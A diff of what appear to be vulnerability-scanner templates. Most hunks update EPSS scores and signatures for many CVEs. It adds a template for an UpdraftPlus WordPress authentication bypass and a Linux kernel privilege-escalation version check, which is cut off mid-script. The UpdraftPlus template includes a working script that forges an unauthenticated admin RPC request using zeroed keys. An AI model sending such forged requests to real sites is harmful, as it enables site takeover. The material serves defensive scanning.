    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.89605
-    epss-percentile: 0.9958
+    epss-score: 0.11074
+    epss-percentile: 0.95394
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -94,4 +94,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 490a00463044022008eaa135810856c22ab7db51289854dbdb54104b4202ad56013deddf9d96c94b022068ec281096262a0800e0a00916a8295a3f2fca695c91ede383a14fe9fddea312:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.6505
-    epss-percentile: 0.98499
+    epss-score: 0.81422
+    epss-percentile: 0.99594
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100b1a2fecabe74689e156144bff4300f38fb7b1b12e151fe5e04c073a3c7365af1022006284b30decb1fb7539c6eaf0650f865d6f794a79f7aa7e615d56fb5f6dc648b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.26964
-    epss-percentile: 0.96484
+    epss-score: 0.04794
+    epss-percentile: 0.9087
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 490a0046304402205d09ca154c308bdc7ae49c1b8b25f8e4bd419c9109547ca1f4a3a48c787fa05e022058b8eb333b732e68ed9c6b3a684e6539b64233018adead2547956fce31984fcc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.75643
-    epss-percentile: 0.98921
+    epss-score: 0.2838
+    epss-percentile: 0.97889
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -58,4 +58,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 490a00463044022059a313cccc2ca8870112853465975c10890f03b576a766d9ae59254f7c509a7d02205a8b988fcae3755d188244d61529d51812ba79d225bc2487e3c5fb8514374285:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.93857
-    epss-percentile: 0.99877
+    epss-score: 0.87991
+    epss-percentile: 0.99746
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a00483046022100d866ebf5699336678cb50e0eb47fbebae8c471883486690583f76d7d44b84eba022100ebefd9353a63b18a4c87ef550bfc6684b2711bbce5953cce0af233a4c45c4009:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.91949
-    epss-percentile: 0.99713
+    epss-score: 0.76618
+    epss-percentile: 0.99487
  metadata:
    max-request: 1
    vendor: zabbix
@@ -73,4 +73,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 490a0046304402205a15c0f4d74cfb5822f8ace526600304e9bf7c8a5c3bd0c7796e3d075d0bc0c302206e6260864f6e2d302cba829af98ffd919f7aac3afbb2e4dd8f579fe476883ddc:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.84805
-    epss-percentile: 0.9936
+    epss-score: 0.85974
+    epss-percentile: 0.99702
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -63,4 +63,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a004830460221008a1da0d98e7542fb092669fe770b64c2f2023b0b7999e911922645034b48e1b1022100e6a2f7843b68725a92fbc2cebb56f5a3f221eb8ee575c70a35a99a70dd9e7b00:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.10881
-    epss-percentile: 0.93547
+    epss-score: 0.0321
+    epss-percentile: 0.86643
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4b0a00483046022100cbf4c37d8de976351e4e72de4dea791d9617eefec567b315e457ee616b27d5ca022100aaf613d40675fc8965d015e3daa9454c8ce4e04327a9068e4f25274fd767c528:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.44644
-    epss-percentile: 0.97653
+    epss-score: 0.10684
+    epss-percentile: 0.95276
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022100b598c4c672d02c2af3fb4652fe031bb05ebe5ad72fce8c6f87d01aa0026350c0022019181e9ac0da0d849c7d81605878ed66fb9ba0e8827d1a287c440c36b7474de9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.93874
-    epss-percentile: 0.9988
+    epss-score: 0.94761
+    epss-percentile: 0.99848
    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

@@ -147,4 +147,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a00483046022100a654e223aaf9b527e603b54eddecde4280014afdb9e01fe313bd7df0c55a0dce0221009fec195a6905d6daa32cf89ac63562c8d5119e0cadf66180eb9c6c28d61e616e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.86575
-    epss-percentile: 0.99436
+    epss-score: 0.4356
+    epss-percentile: 0.98582
  metadata:
    verified: true
    max-request: 2
@@ -195,4 +195,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a00483046022100d8c2251c308159ceb507f5e7484f59799b9540c892c0b716f10734f9459ac610022100de6327fcb951fd797c086fc905f30e79706ef3fb821f33068f321e08f74f0a99:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.65749
-    epss-percentile: 0.98526
+    epss-score: 0.01793
+    epss-percentile: 0.75773
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4b0a00483046022100a194e248db386647e9b9db733aaa18c5b77414ec8a7a96b9c925762fb524b5450221008c8490767ba3cb629649a34aaef437b9378502d598f77c74dbaf33b2436f5a4d:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.50689
-    epss-percentile: 0.97912
+    epss-score: 0.22443
+    epss-percentile: 0.97411
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4a0a00473045022100806b8281c9403df583a40b826e8db54572861dee5d983659b69f2d8f964f4cf702204b1c4c5fc3fcf8303431a50a71141ea10a5f4d5d45f46806bec588f1615c8d3d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.09875
-    epss-percentile: 0.93162
+    epss-score: 0.02803
+    epss-percentile: 0.84774
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 4a0a00473045022100d57019ae5e41c775efb747268fde86c8d7c477e71448d0e68143338b67408297022007d2e76543f5c832078f48cf56e98f71ec52efec72028cb124e048c51a213c09:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.58941
-    epss-percentile: 0.9826
+    epss-score: 0.99979
+    epss-percentile: 0.9998
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -164,4 +164,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 490a0046304402205f2f152d444754a3167579ca80174229815263a7b2c20c71d793fc7afad8440a022041b3a39d43174c794cab98c7d17f7198d9875b9f9ed631822bf58983b0a3fbbb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.20843
-    epss-percentile: 0.95745
+    epss-score: 0.19506
+    epss-percentile: 0.97043
  metadata:
    verified: true
    vendor: gitlab
@@ -80,4 +80,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a0046304402201b0bd6b055a6c28b6c6583f1503d1e722170df52ca6ec01d3cf08fca418ba33b02207a8e86aa373877651f545e75eeb15856e1eb8282ae81a8f5b1307998c6efcfe9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.59319
-    epss-percentile: 0.98277
+    epss-score: 0.97859
+    epss-percentile: 0.999
  metadata:
    verified: true
    max-request: 1
@@ -174,4 +174,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 490a004630440220543fd0b5599a88cb4b8fde5c1b3e10d84dff90861352e1372ad5e596850e05de022041c822de1f951ca5494e91d5a1ec64e9d8270bf8a792d701e8fc5a25564e34aa:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
  classification:
    cve-id: CVE-2025-32463
-    epss-score: 0.57345
-    epss-percentile: 0.98193
+    epss-score: 0.47467
+    epss-percentile: 0.98699
    cvss-score: 9.3
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cwe-id: CWE-426
@@ -64,4 +64,4 @@ code:
          - "!contains(tolower(response), 'password')"
          - "!contains(tolower(response), 'a password is required')"
          - "!contains(tolower(response), 'is not in the sudoers file')"
-# digest: 4a0a004730450220742de6dcf219f9be67005936014be8f0d46cf7ac737cafb1c95dbd9d77c64744022100d7f0049cfd9ed330a6458ff9555bcce47706d6ca8ba91df7b4e603901c3e575e:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.768
-    epss-percentile: 0.98974
+    epss-score: 0.92034
+    epss-percentile: 0.99807
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
  metadata:
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100f72b7731d2f27cd7db13d06572171fa96bc37725e356e60ff1753c938c9cde37022100c2137f0d15bb9f2e682341d598e9d150be606823f8611b2bb7c22740d8033288:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.49839
-    epss-percentile: 0.9787
+    epss-score: 0.29434
+    epss-percentile: 0.97955
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 4b0a00483046022100e5a1c940a15877e6be92bbae4cedfb5557ba15a925ac42018970b7307d068093022100ec63654db67d5ff769cfd7bd7935ec8b3b0b754378c556052d3855d3b28abf7e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68926
-    epss-score: 0.0771
-    epss-percentile: 0.92104
+    epss-score: 0.2903
+    epss-percentile: 0.9793
    cwe-id: CWE-798
  metadata:
    verified: true
@@ -18,8 +18,8 @@ info:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6984
-    epss-score: 0.01922
-    epss-percentile: 0.83741
+    epss-score: 0.01531
+    epss-percentile: 0.71736
    cwe-id: CWE-200
  metadata:
    verified: true
@@ -64,4 +64,4 @@ code:
          - "bin:"
          - "daemon:"
        condition: or
-# digest: 4a0a004730450220590258fddb17cea9ecaae0ce541a4ec60ace19f74e2c1e55f00d7a4702d8bf480221008e8b44c189ed9e38aec23016c5d6808a34dd356d34f571bb3088c4a81d2d2295:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.78594
-    epss-percentile: 0.99064
+    epss-score: 0.8637
+    epss-percentile: 0.99709
    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a0047304502206772311a6c4cede2ea000e22d6cd03321bd1035496a57aa61a7b506a4bc1755a022100f4adf698a41d435ea5927949cadd8cee3c5a7b081e952a9111177428054f2e3f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,88 @@
+id: CVE-2026-10795
+
+info:
+  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
+  author: theamanrawat,s4e-io
+  severity: high
+  description: |
+    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
+  impact: |
+    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
+  remediation: |
+    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
+  reference:
+    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
+    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2026-10795
+    epss-score: 0.03578
+    epss-percentile: 0.88
+    cwe-id: CWE-347
+  metadata:
+    max-request: 2
+    verified: true
+    shodan-query: http.html:"updraftplus"
+    fofa-query: body="/wp-content/plugins/updraftplus"
+  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
+
+code:
+  - engine:
+      - sh
+
+    source: |
+      #!/bin/sh
+      KEY_NAME="0.central.updraftplus.com"
+      TIMESTAMP=$(date +%s)
+      RAND=424243
+      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
+      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
+      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
+      RSA_LEN=$(printf '%03x' ${#RSA_B64})
+      CT_LEN=$(printf '%016x' ${#CT_B64})
+      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
+      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
+      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "UpdraftPlus")'
+          - 'compare_versions(version, "<= 1.26.4")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?i)Stable tag:\\s*([\\d.]+)"
+        internal: true
+
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        {{code_response}}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "\"udrpc_message\":\"")'
+        condition: and
+# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-20182
-    epss-score: 0.83838
-    epss-percentile: 0.99313
+    epss-score: 0.87693
+    epss-percentile: 0.99738
    cwe-id: CWE-287
    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
  metadata:
@@ -272,4 +272,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a004730450220184319f9342d98df408774146c4dd7b8270d12411da60a9642f2b40ebddad44d0221009ebc31182c3571542e616d2a9d03b2a6c90e6cd6f8a1371facf5aa96bf237c6a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2026-24061
    cwe-id: CWE-88
-    epss-score: 0.91526
-    epss-percentile: 0.99687
+    epss-score: 0.98871
+    epss-percentile: 0.99921
  metadata:
    verified: true
    max-request: 1
@@ -49,4 +49,4 @@ code:
          - "Last login"
          - "Debian"
        condition: and
-# digest: 490a004630440220195eb70e34c5160483631e91637ac45aa0336ff5a02708e455c19e804f5386f4022072068f57e510dd3e93164954eb9286a3b55f22931467d5d761ff42858078ecaa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,142 @@
+id: CVE-2026-31431
+
+info:
+  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
+  author: ritikchaddha
+  severity: high
+  description: |
+    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
+  impact: |
+    A local attacker can escalate from any unprivileged user to root. The exploit:
+  remediation: |
+    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
+  reference:
+    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
+    - https://cert.europa.eu/publications/security-advisories/2026-005
+    - https://xint.io/blog/copy-fail-linux-distributions
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
+  classification:
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 7.8
+    cve-id: CVE-2026-31431
+    epss-score: 0.96267
+    epss-percentile: 0.9987
+    cwe-id: CWE-787
+    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: linux
+    product: linux_kernel
+  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
+
+self-contained: true
+
+flow: code(1) && code(2) && code(3)
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      uname -r
+
+    extractors:
+      - type: regex
+        name: kernel_version
+        part: response
+        regex:
+          - '^[0-9]+\.[0-9]+\.[0-9]+'
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      KVER=$(uname -r)
+      MAJOR=$(echo "$KVER" | cut -d. -f1)
+      MINOR=$(echo "$KVER" | cut -d. -f2)
+      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
+      VULNERABLE=0
+
+      # Check if algif_aead module is loaded or built-in (required attack surface)
+      AEAD_PRESENT=0
+      if lsmod 2>/dev/null | grep -q "algif_aead"; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
+        AEAD_PRESENT=1
+      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
+        AEAD_PRESENT=1
+      fi
+
+      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
+      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
+      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 5 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 6 ]; then
+        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
